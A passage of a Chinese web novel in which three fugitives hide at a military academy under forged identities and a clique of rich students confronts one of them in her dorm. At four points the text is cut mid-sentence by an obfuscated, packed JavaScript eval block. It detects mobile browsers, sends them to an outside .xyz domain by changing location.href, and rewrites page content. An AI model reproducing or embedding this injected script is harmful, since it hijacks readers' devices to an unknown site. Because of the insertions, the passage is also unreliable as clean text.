他拍了拍程橙的肩膀，用过来人的语气语重心长，“你还年轻，看不出来也正常。” “……” 程橙是能看出一些上杉悠奈对他有些想法，但实在不懂女生话里的弯弯绕绕，并没有察觉到其中有什么不对劲。 即使现在李维这么说，他也没回味出哪里出问题。 不过这些不重要，他更关心其他事。 “你们为什么会出现在这里？” 这三人出现在这，除了想到学校里有什么东西被他们惦记了，程橙想不出其他理由。 “放心，我们没想搞事，只是来避风头的。”李维说着也找位置坐下，语气多了些幽怨。 “托艾米的福，她把备份来的特效药剂相关资料，直接发到各大公共网站上，导致MN集团通过网路追踪我们的位置，我们只能连夜逃离那里。 “在那里住了挺久，留下不少痕迹，他们应该还是能查到点什么，所以我们只能躲起来避避风头咯，这个地方就很不错。” 当初艾米说好地方的时候，李维还不信，以为又是那种连政府都不敢管的角落，没想到是军校。 也确实MN集团的人想破脑袋都想不到，他们几个法外狂徒敢跑到军校来避风头。 “原来你当时干的是这件事。”程橙恍然大悟。 特效药剂相关资料在网上扩散的消息，他回到家之后听说了，一开始还以为是网上有人捏造的资料。 直到有人跟着资料操作，真的合成了药剂。 一下子就吸引大量生化公司进场生产，产量多了，药剂的价格便也没那么高昂，很多人都买得起。 当初军方的人放弃继续审问他的原因，就有这方面在。 军方在发现新型特效药剂配方泄露之后，就不用再重新跟MN集团重新谈判再要一份，连追回配方都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16211421|180287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 省了，网上就能下载。 不过还是想追查出敢打劫联合政府的人，但程橙这边有他爸妈顶着，就只能找其他线索，最后把账算在和艾米他们合作的反叛军头上。 在这件事中吃最大亏的，只有MN集团和反叛军。 MN集团投入大量资源研发的配方，没能靠配方获利，反而被其他企业知道，养活了许多竞争对手。 而反叛军则因为打劫的行为，被政府出兵镇压了几次，最近老实不少。 程橙还以为配方是MN集团内鬼泄露，现在才知道当时在那间房里，艾米发出的文件，原来就是有关配方的资料。 他深刻认同了李维的话。 那份配方随便卖给一个生化公司，对方都愿意花天价买下，艾米就这样冒着暴露自己的风险免费发到网上。 确实大方又不计后果。 不过总的来说，她做了一件好事，起码现在患病的人们能买到便宜又有效果的药。 “MN集团会查到你们的真实身份吗？”程橙不自觉替他们担忧起来。 “当然查不到！”李维信誓旦旦。 “我堂堂第一工程师，可不会让我们的真实信息在网上留下痕迹，就算他们能找到那间屋子，向周围的人打听也没什么用，我们从不用真面目和姓名出现在外人面前。” 程橙感觉到在跑路这方面，李维他们极其熟练，又接着问： “你们的工厂怎么办？” “暂时关了，就算他们找到工厂的员工，问出老板是谁，长什么样，等继续深入调查的就会发现，这几个人特么用的是假身份假脸，世上根本没有这三号人！”李维洋洋得意。 “你们用假身份，是怎么拿到许可开的工厂？” 这问题一出，艾米用看傻子的眼神看了程橙一眼，他立马意识到自己犯蠢，黑工厂要什么许可。 黑工厂却生产真实有效的药，这三人干的事成分太复杂，他都不知道该谴责还是认同。 “还有一个问题。”程橙靠在墙上，“你们是怎么混进学校的，报考我们学校总不能用假身份吧？” 晨曦军校背靠政府，在录取学员之前，会进行背调，假身份的人自然不会被录取。 录取的条件也很苛刻，首先学员不能有不良记录、学员的家人也不能有犯罪记录，学员自己的读书成绩也得足够优秀。 李维真实年纪早就超过18岁，超过了报考的年龄限制，至于艾米和苏童，她俩平时估计也没好好上学，才有时间跑安全区外抢东西，又哪来的成绩优秀？ 可他们能通过背调被学校录取，程橙想不通哪里出了问题。 “这有什么难的。”李维仍然一副没啥大不了的样子， “黑进联合政府的户籍系统，给我们三个编个合法的身份不就行了，顺便再捏造家世、教育经历啥的，也就编点故事的事，鄙人不才，在文学创作方面，也略有天赋。” “……” 自从知道神秘黑客的事之后，虽然程橙不知道那个黑客是不是李维，但听到李维能黑进联合政府系统，竟然已经觉得见怪不怪。 “要是有人发现不对劲，真去查你们捏造的那些东西，发现对不上怎么办？” “那就露馅咯。”李维摊了摊手，“到时候再说。” “心真大。”程橙头有点疼，这三人好像一点都不知道自己在一所军校里，他们的事一旦暴露，校内戒备森严，他们面临的将是天罗地网。 “你们给自己捏造了什么身份？” 16. 我乐意 李维指向艾米， “那位，是第三区来的某个有钱且低调家族的大小姐。我们两个是她的狗腿子，因为家里人怕她一个人在学校生活不习惯，所以把我们也弄进来互相照应。” “第三区？”程橙皱着眉，“那不是早就被毁掉了吗？” 安全区一共十六个，但不是每个都还在正常运营，像发生在Z区的能量泄露事件，在别的区也会上演。 九年前第三区就经历一次重大的root能量泄露事故，最后情况没能控制住，导致整个区被侵蚀，联合政府只能将第三区所有人撤离，直到现在第三区都没完成重建。 “一个已经被毁掉的安全区，别人想查也得多花些心思不是？”李维反问。 程橙无话可说，这倒也是。 艾米看起来兴致不错，小口喝着营养液，一边悠然开口， “本来还担心在这里的生活会无聊，刚刚倒是让我发现有些人还挺好玩，应该能找到不少乐子。” 程橙就被艾米当乐子逗过，知道她估计也是要在别人身上找乐子。 担心她做得太过分，警告道：“你别太过分，在这里也不是真的没人知道你们的底细。” 艾米侧过头看向他，唇角的笑意带着几分讽意， “怎么，你打算告发我们吗？以为自己还是什么根正苗红的军方预备役？ “你尽管去告发，被抓住就说你是我们的同伙，跟着跳车其实只是掩人耳目，目的是为了掩护我拿到配方后安全撤离。” 程橙背脊一凉，被这么一提醒才明白自己犯了多大的错误。 本身他能活着回来已经不可思议，要是第一时间说出艾米他们的事，军方还能相信他的清白。 可当时他选择隐瞒艾米他们的事，在军方审问的时候，撒了那么蹩脚的谎。 要是艾米他们真的暴露，向军方这么招供，军方一定会信艾米的话，到时候他再怎么解释也没人会相信他不是一伙的。 他们现在是一根绳上的蚂蚱，就算是为了保住自己，程橙也必须协助他们隐瞒身份。 先前他还真觉得艾米他们是好心，现在只感觉到被算计。 想通这些，程橙看向艾米的眼神就只剩下忌惮。 “你们会放我走，又向我展示工厂的事，是不是早就算好我不会向军方供出你们，这样你们就可以用这点威胁，把我拉上贼船？” 程橙目光紧紧盯着艾米，先前他是觉得艾米他们为了救人，做的事也还能理解，才会选择帮忙隐瞒。 可现在只要他们露出任何一丝能证实他猜想的反应，他即使被退学也不会受威胁，沦为之后掩护他们犯罪的走狗。 “停停停。”李维赶紧站出来打住。 他走到程橙身边，“兄弟你真想多了，我们虽然干了很多违法的事，但真不是无恶不作，除非别人想要我们的命，否则我们还是很尊重生命的。 “会放你走首先是我们不想滥杀无辜，其次是有那个自信，觉得即使你供出我们，我们也有办法能脱身。 “我们是被MN集团知道位置，才临时决定躲到这来避风头。一开始艾米就没拦着不让你走吧，那时候还没发生这事呢，又怎么会是早就想好算计你，逼你做内应？ “向你展示工厂的事，也只是想让你知道，我们真没干什么伤天害理的事，希望你能理解而已。 “当时我们还没决定跑这来避风头呢，别太看得起我们，我们可不是棋手，哪能走一步就想到接下来的十步、百步啊。” 人都是习惯站在自己的立场想问题，一想到被算计，程橙难免将艾米他们往坏里想。 李维解释得及时，听他这么一说，程橙也冷静下来发现他说得有道理。 起码在安全区外摆脱军方和反叛军之后，他对艾米没有任何价值，可艾米一路上还是把他护住并带了回来。 这份保护是真真切切的。 当两个人没有利益纠缠的时候，对对方的态度，就能看出一个人的本质。 从这一点来看，艾米甚至比绝大多数人更仗义。 “哎呀程橙兄弟。”李维一把揽住程橙的肩膀， “你没把我们供出去，我们是很感激的，艾米那张嘴巴就那样，她就那张嘴巴坏事。 “你仔细想想她对你还是不赖的吧，大老远的把你从外面带回安全区，又当司机把你送回城区的，是算计还是好心，你自己感受不出来嘛！” “当然是算计。”艾米一手撑着下巴，一边接话，一手无聊地转着书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214985|180287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌上已经喝空的营养液包装袋。 “那可是程家的太子爷呢，安全区里最大武器商程明的独子，等未来继承家业，将手握不可估量的财富。能把程少发展成我们的内应，对我们可是大大的有利。” 程橙原本被李维说得有些愧疚，都觉得自己白眼狼了，但现在听艾米阴阳怪气，愧疚感顿时烟消云散。 他转身拉开宿舍门，朝李维点了点头，“先前的事我还没跟你们说过谢谢，看样子有人也不稀罕，我今天还要招待新生，改天有空再备上谢礼跟你郑重道谢。” “害，不用这么客气，你先去忙吧。” 李维将他送出门，关门后朝艾米“啧”了声， “你说你，明明是好心为什么不能好好说话？做好事是什么见不得人的事吗？” 艾米又开了一袋营养液，“我乐意。” 于她而言想救人的时候就救，想说什么话就说什么，别人感不感激、理不理解都不在她考虑的范围。 “懒得跟你说，我回自己宿舍了。” 对这个油盐不进的家伙，李维也懒得劝，扭头离开。 程橙坐着电梯回到一楼大厅的时候，刚好看到上杉悠奈从宿管员的执勤室出来，看到程橙的时候脸上有瞬间的慌乱，但立马收拾好表情，微笑着打招呼， “下来了？学妹的问题都解决了么？” 程橙也有些诧异，他在艾米宿舍待了有一会儿，没想到上杉悠奈还在。 他看了眼对方刚离开的执勤室，宿管员并不在，里面只有宿舍各角落的监控投影亮着光，上杉悠奈进去做什么？ 他没有多想，点了点头，“解决了，学姐先前说有事要跟我说，如果是要紧事的话，现在说也可以。” 上杉悠奈摇了摇头，“也不是什么要紧事，你今天有事要忙，改天再说吧。” “嗯，那我先走了。” 程橙走得干脆，心里却犯嘀咕，好像理解了苏童说的上杉悠奈装模作样。 明明在楼上的时候又说有话要说，现在能说了，又不说了，这不就说明之前这么说只是想把他支开？ 看着程橙离去的背影，上杉悠奈低头在手环上发出一段视频。 视频里艾米挽着程橙的手走进电梯。 17. 被跟踪 晨曦军校有自己的社区交流网站，是学校创立初期某位学生建立的，本意是供学员们在上面交流、共享知识。 后来网站创始人毕业之后，网站就传给还在校的下一届学生管理，发展至今在上面共享知识的人寥寥无几，反而成了吃瓜捞人的表白墙，每天各种八卦、吐槽贴不断。 新生入学当天，有人匿名发了一段一个女生挽着程橙手进电梯的视频。 程橙在学校的关注度很高，因为他是程明的儿子。 当今世上最大的科技公司是程新科技，主产各种高科技产品，但最出名的产品是武器。 简单来说程明就是个军火贩。 市面上流通的合法武器，80%都出自程新科技，联合政府使用的武器，也是程新科技供应。 如今联合政府战力最强的军队就是机甲队，而机甲队使用的机甲，也是请的程新科技的工程团队做的设计顾问。 程明作为程新科技掌权人，只有程橙这一个独子，意味着偌大的家业以后百分百会落到程橙手上。 在这资源匮乏的时代，有钱人从手指缝漏下的一点残渣，就能让人趋之若鹜。 所以学校里多的是人关注程橙的动态，也多的是人想跟他打好关系。 视频一发出，顿时在校内引起轩然大波。 而作为当事人，程橙忙着招待新生，艾米根本不关注网站，两人都不知道发生了什么。 新生入学第一天其实没什么事做，抵达宿舍收拾好东西之后，能做的事也只有出去逛逛，添些需要用到的东西。 军校属于机密机构，所以建在人较少的地带，四周没有繁华的商业区，平时学生想买东西，只能去校内开的超市。 安置好后艾米三人就去逛超市，看着货架上价格高昂的货品，李维咋舌， “怎么这里卖的东西比外面贵那么多？” “垄断。”艾米说着，一边朝另一个区域逛去。 “万恶的资本家。”苏童骂了声。 当市场被垄断之后，价格就由垄断者来定。 逛了一圈，艾米也没找到心仪的东西，她翻弄着货架上的营养液，全是普通的营养液，最多能让人两三个小时感受不到饥饿，但她的身体机能跟别人不同，这些营养液在她那里只能发挥一个小时的作用。 更主要的是，这些营养液的口味很一般，她不喜欢。 最后三人只买了些日用品就离开超市，没走出几步，艾米的脚步顿了顿，微微侧目。 “怎么了？”李维问。 艾米神色微冷，“有人跟了我们一路。” 李维和苏童立马严阵以待，“MN集团的人？我们扫尾扫得那么干净，他们都能这么快找到？” “不确定。”艾米摇了摇头，抬脚继续往前走去，“学校里不好动手，先看看情况，走吧，食堂吃饭。” “看你这势头，怎么好像对这个地方很熟悉的样子，你确定走的方向是食堂？” 李维看艾米说完后就朝一个方向走去，仿佛笃定了食堂的位置，忍不住问道。 他就一普通人，而且还是缺乏锻炼的中年男人，可不像艾米一样中枪后还能生龙活虎。 今天搬着一大堆行李走了大半个校园，现在可不想走冤枉路。 “艾米肯定是提前看过学校的布局了，她什么时候让我们陷入过危险，每到一个新地方，她总是先把逃生路线规划好。” 苏童立马为艾米说话，她会的几乎都是艾米教的，艾米之前就教过做什么事之前先想好退路。 “行行行，你家艾米最厉害，做什么都有道理。”李维都懒得说这个脑残粉， “不过你不是刚喝了两袋营养液，怎么又找东西吃。” 艾米的理由很简洁：“馋” 营养液虽然能满足人体所需的营养，让人感觉不到饥饿，但远没有将东西吃进胃里的那种饱腹感让人满足。 李维和苏童习惯了喝营养液充饥，没吃过好的口腹之欲比较低，她不行，有选择的时候更喜欢靠吃东西来充饥或解馋。 食堂的饭菜一般，如今的科技已经能合成各种肉类，以及培养出速生的谷物蔬菜，但靠科技手段做出来的东西，在口感上有很大的欠缺。 艾米吃了几口就兴致缺缺。 看她碗里的剩余，李维问了声，得到同意之后直接把菜倒进自己的餐盘里。 “叫吃东西的是你，现在不吃的也是你，真带入大小姐的角色了？” 李维边吃边吐槽，他和苏童倒是吃得香。 “难吃。” “我觉得挺好。”苏童难得站在李维那边。 他们时常过着东躲西藏的日子，大部分时候为了省事都是靠营养液解决，现在吃到热乎的饭菜，只觉得比营养液好。 “等有机会带你们吃点好的。” 艾米漫不经心打量着食堂，李维和苏童察觉到她跟平时有些不一样，似乎来到这个学校之后，她经常会神游。 两人也没有多问，艾米身上有太多的秘密，她不说，他们就不去探究。 “那个人还在跟着我们么？”李维问。 “我们打饭的时候她就走了。”苏童说，她和李维不一样，李维是个技术宅，在这方面不敏感。 她跟着艾米学了那么久，在艾米说被人跟踪的时候，她多留意了些，也能看出谁是跟踪者。 “会不会去跟MN集团告状了？” “应该不是MN集团的人，要是MN集团出手会更加专业，那个女孩虎头虎脑慌慌张张，MN集团不是不知道我们的手段，要真发现我们，不会冒着打草惊蛇的风险，派这么蹩脚的人来监视。” 艾米的脑子素来清醒，这一路跟踪者在观察他们，她同样在观察跟踪者，得出了这么个结论。 “这就怪了，我们刚进学校，怎么就被人盯上了？” “说不定看上你了。”艾米说。 李维：？ 苏童“噗嗤”笑出声，立马明白了艾米的意思，“你一个大叔却是个新生，确实很可疑。” “切。”李维举起金属的勺子照了照，勺子映出的人影是倒着的，衬得他那到肩膀的头发、拉碴的胡须、消瘦的脸更加的磕碜。 他也自知跟这些青春靓丽的少年少女们格格不入，难得心虚：“回头我捯饬捯饬。” 对于过惯流离生活的三人来说，这样的互相编排日常，倒是难得的安稳。 吃过饭提着买来的大包小包走回宿舍，走到宿舍门口李维和两个女生背对开宿舍门，他的门是打开了，艾米和苏童却站在原地。 他走到两人身边，艾米看了他一眼，他立马心领神会。 怕被仇家暗杀，他们平时出门都有个习惯，关门时在门缝夹根头发，要是回来时头发不见了，说明门被人打开过。 即使仇家不敢轻易追到军校，但他们仍保留着这个习惯，现在艾米门缝上的头发不见了。 李维转身回自己的宿舍，半分钟不到又折返回来，手中多了一颗半个指甲盖大小的金属小球。 他将金属小球从底下的门缝滚进艾米的宿舍，又在手环上调试，很快手环上就投射出宿舍里的画面。 看到里面的场景，艾米挑了挑眉，苏童则是怒目圆瞪。 “干不干？”她用唇语询问艾米。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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艾米眼中尽是玩味，从监控中她已经知道屋里的情况，粗略算了算有二十几名女生，从穿着打扮和行为举止来看，一个个都是不可一世的骄纵样。 艾米和苏童就站在门口安静看着她们，空气陷入诡异的寂静。 凹造型的人总比不凹的人要累，在僵持了好一会儿之后，高高在上的女孩们开始沉不住气，一个个眼珠乱转进行视线交流，显然艾米两人的冷静超出她们的预料。 她们还以为进门的时候，看到宿舍里多出这么多人，两人会惊慌失措。 最靠近门口的位置，站着四个女孩，她们原本被安排要在艾米和苏童害怕要逃离的时候，按住她们再把门关上。 没想到两人表现得很淡定，苏童顺手还把门反锁倚靠在门上，让她们有种自己才是猎物的感觉，一下子把所有人都整不会了。 门口的四个女孩看向坐在中间的女孩，她坐在书桌椅上，显然是精心挑选的位置，确保艾米一进门就能一眼看出她占据的是C位，是这场宿舍埋伏的主导者。 女孩穿着礼裙，类似很久之前欧洲中世纪的女性礼服款式，不过经过了改良，没那么繁复，不过裙摆还是像盛开的花朵般拖了一地。 其他的女孩在着装上也很讲究，全都是类似礼服的款式，让艾米有种对方不是来找茬，而是占用自己的宿舍开茶话会的错觉。 C位女孩清了清嗓，依旧用那种高傲的眼神看着艾米，“你们怎么不害怕？” 18. 姐妹会 问出这种问题，就弱了气势。 艾米拉过放在墙角的行李箱坐了下去，跟刻意凹造型的对方相比，她举手投足间都是从容。 “你们有什么好怕的？”她问。 “我们是姐妹会！”女孩气势十足地回答，笃定一般觉得艾米听到后会露出惊讶崇拜的表情。 然而艾米一句话就让她们破防。 她掏了掏耳朵，“那是什么？” “你竟然连姐妹会是什么都不知道？！” C位女孩气结，其他女孩也义愤填膺，仿佛不知道姐妹会是什么罪大恶极的事。 用了好一会儿，她们才平静下来，优越感在艾米那里一直显现不出来，不得不使出别的手段压制艾米。 “我调查过你，艾米。你家里挺神秘，据说原本是第三区数一数二的富商，第三区毁了后，你们资产缩水，跑到了第十二区生活，从此之后就变得很低调。鉴于这些年各大安全区都没有你们家的名号，说明你们已经落魄到了一定程度。” C位女孩说着，从手环调出几张图片，投射在空中。 艾米看了眼，发现是她挽着程橙的照片。 “我们从某些渠道得知，你和程橙原先并不认识，第一次见面你就挽他手那么殷勤，说明是有意讨好。 “我们合理怀疑，你来这所学校，就是冲着程橙来的，你们家里落魄就把主意打到程家身上，只要得到程家支持，你们就能东山再起，我说得对不对？” 艾米：…… 她忍不住鼓起掌，慢悠悠反问：“非常合理，但跟你们有什么关系？” “我们是姐妹会！”女孩又强调了一遍，“学校里所有优质男生资源，都归我们所有，要是有人想接近我们认可的男生，就需要得到姐妹会的同意。” “哦？男生们同意这种做法吗？” “不需要他们同意，他们不过是我们的资源，我们姐妹会的姐妹会互相帮助，将适合的姐妹送到他们面前，能不能将他们拿下，就看个人本事，只要成功，那他们也不过是为我们铺平道路的垫脚石。” 艾米眯了眯眼睛，原以为是一群只知道雌竞的人，这么一听，她们的想法倒是出乎她的意料。 “有点意思。”她评价。 “所以，你没经过允许就私自接近程橙，已经违反了我们姐妹会的规定，我们特意来警告你！” 艾米点了点头，“明白，但是我不遵守规定，你们能拿我怎样？” “我爸每年给学校花几百上千万，只要我跟他说声，学校就会把你开除！不过对付你没必要闹到这步，我们姐妹会的人在学校里有上千人，你想同时跟上千人作对吗？ “你要想这五年过得好，那就乖乖听我们的话！” 对方嚣张跋扈的样子，像一只虚张声势的天鹅。对这种把话放在明面上的人，艾米倒是不反感，也有继续玩下去的兴致，便顺着她的话说下去。 “可是我还肩负着振兴家门的责任，傍不到程橙，岂不是白来了？” 女孩眼珠转了转，“我们姐妹会本身就是姐妹间互帮互助，你这种傍大款的想法，跟我们的理念不谋而合，我倒是能给你一个机会。 “只要你能通过考验，我们就允许你加入姐妹会，到时候会帮你物色合适的男人。事先说明，程橙我已经看上了，就算你成功加入姐妹会，也不许靠近他！” 说完女孩好像想到了什么，脸上出现些许的懊恼和心虚，声音也弱了点，“不过，如果你有那个本事能引起他的注意，让给你也不是不行。毕竟我们是姐妹会，能帮上姐妹才是第一要务。” 艾米突然觉得她有些可爱，唇角的弧度扬了扬，看得一旁的苏童脸上泛起不悦，咳了咳。 “这么说，你看上程橙不是因为喜欢，也只是想通过他结识程家，让他做你甚至是你背后家族的垫脚石？”艾米问。 “那当然。”女孩理所当然回答，“从小我爸妈就说了，反正男人都不靠谱，我们女孩如果要嫁人，那就嫁个有权势的，既不会过苦日子，又能帮到家里，只有家人才是我们坚实的后盾！” 此时对门的521宿舍气氛沉寂，工作台上的投影显示着508宿舍发生的一切，里面的对话也清晰传来。 程橙的脸色古怪，艾米前脚刚走他后脚就来找李维。 上午跟艾米发生了口角，事后他仔细回想，觉得艾米救了他，他却那样揣摩艾米，确实过分。 于是刚忙完招待新生的事，就来找李维想让他支个招，怎么跟艾米缓和关系，没想到看到这些投影内容。 李维拍了拍他的肩膀安慰道：“没事的兄弟，虽然她们接近你不是真心喜欢，但换个角度来想，起码你身上还有能让她们图谋的东西。” 程橙扯了扯嘴角，因为家世的原因，他其实早就习惯身边围着一些有所图谋的人。 可一想到那些平日在他面前笑脸相迎的人，背地里将他当成一件货物明码标价衡量价值，心里总归不舒服。 其实他本可以不搭理艾米他们在学校里做什么，井水不犯河水就是，可待在艾米他们身边，他反倒不用像跟其他人相处那样，猜测对方接近自己是真心或是有图谋。 反正这三人不管他是什么身份，都挺不客气。 所以他才还想跟艾米缓和关系，不仅是因为相处起来不用拘谨，还因为艾米他们带他见识了这个世界阴暗的一面。 如果没有认识艾米，他将永远活在家里为他营造出的完美世界中，他渴望了解这个世界真实的样子，渴望为这个世界做点什么事。 从废墟之城见到那些被放弃的人开始，程橙心中名为“悲悯”的一角，便开始被触动。 508的谈话还在继续，艾米没有评判女孩说的话是对是错，饶有兴致问道： “听起来加入姐妹会待遇挺不错，不过想加入没那么简单吧？” 女孩立马点头，“你还挺聪明，想入会就得通过姐妹会设下的考验。” “考验都有什么？”艾米倒是喜欢挑战。 “你没决定加入，当然不能告诉你，姐妹会的第一场考验会在三天后进行，到时候会给你通知，你要是决定加入就去参加考验，要是没那个胆子，以后就离我们的男孩远点，否则别怪我们姐妹会找你麻烦！还有，这三天也不许私自接近程橙！” 女孩说完站起身，提着宽大的裙摆扬着下巴哼了声，“姐妹们，我们走！” 在她的带领下，女孩们摆出如出一辙的高傲神情，分成两队左右绕过艾米离开了宿舍。 屋里一下子静了下来，散场的方式比苏童想的要平和。 “就这样走了？来了一群人，我还以为军校的人解决问题，怎么说都要打一架，这群人怎么浮夸得像演戏剧？” 艾米却见怪不怪，这就是女性在末世的一种活法。 这混乱的时代经常暴乱四起，在暴力中女性在身体素质方面并不占优势，这也导致女性的地位变得更低。 女性必须比男性更豁得出去，才能在这末世中有一条出头路，但不是每个女性都有豁得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264175|180287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去的勇气以及实力。 处于弱势的底层女性选择很少，要么做着最低等的工作勉强糊口，要么只能选择依附别人而活。 至于像刚刚那些有家世的女孩，她们从小就被灌输嫁入豪门、壮大家族的思想，所以也没觉得这种行为有什么问题。 她们的家人也并非完全把她们当成巩固地位的工具，只是末世就是这样，每个人都必须想办法牢牢攥住有限的资源，才能获得安全感。 一旦家族没落，那些没能力自给自足的女孩，会比被当成联姻工具的下场惨上万倍。 所以姐妹会的存在艾米不想谴责，那是一条女性迫不得已而试探出的一条路，要是这个社会给女性的机会同等，她们也会像男人一样在各领域大放异彩，高谈科技、军事、政治、梦想。 可因为社会原因，女性只能被教导成这样。 唯一值得评判的，大概就是姐妹会垄断了学校的男生市场，压榨了那些无法入会的女生接触到更好的人的机会。 “军校跟我想的好像不一样。”苏童忽然有点沮丧，在这之前她对军人还有正面的幻想。 “你看看这个地方。” 她走到窗边拉开窗帘，他们所在的宿舍楼灯火通明，楼下的景观灯温暖柔和，音乐喷泉里放着音乐，跟远处普通的学生宿舍楼仿佛是两个世界。 “他们不仅把人分成有用的和没用的，还把人分成三六九等。有钱人的孩子住着豪华的房子，受尽优待，没钱的人也就那样了。 “就好像有钱人生来就该高高在上，我们这样的人，就只能成为垫在他们脚下的石子，等哪天没用了，也会像废墟之城里的那些人一样被舍弃掉。” 苏童不是程橙，她跟在艾米身边，即使有艾米的保护，她对这个世界的认知也比程橙要更深刻，在这之前她已经知道联合政府对待不同人的做法。 但到了这里才真真切切感受到阶级的差异，作为底层人员，她突然有种无力改变现状的绝望。 这个世界让他们这些底层的人看不到未来。 艾米站起身将行李箱推回墙角，“我们已经比绝大多数人好很多，起码现在活得还算自由。” “对！” 艾米只一句话又让苏童心情松快起来，“因为有艾米，我们现在活得很不错！” 话虽这么说，心里像少了什么觉得空落落。 之前她只知道一心追随艾米，李维和艾米开工厂救人，她也没想过他们这么做图什么。 可今天突然像诞生了意识的机器人，多了些感触，只是他们这三人活得不错就行了吗？ 世上还有那么多受苦的人，不能为他们做些什么吗？ 她看向艾米低头整理行李的侧脸，第一次去想艾米和李维这么做的原因。 或许他们想的是，虽然无法改变这个世界，但可以尽自己所能去做点什么，照亮这黑暗时代的微弱一角。 艾米从行李中翻出睡衣，拉下连衣裙的拉链，干净利落脱掉了连衣裙，速度快到在监控前的两个男人没反应过来。 程橙的手已经快过意识，一把将监控切断，耳尖迅速爬上绯红。 “你小子倒是正直。” 李维嗤声，其实艾米里面穿了防走光的打底裤和背心，看着程橙红得要滴血的耳朵，他又补充，“难怪艾米喜欢逗你。” 她那顽劣的性子，就喜欢欺负小孩子。 程橙揉了揉鼻子，声音有点闷闷的，“我今天跟她说话好像过分了，有什么办法能让她原谅我吗？”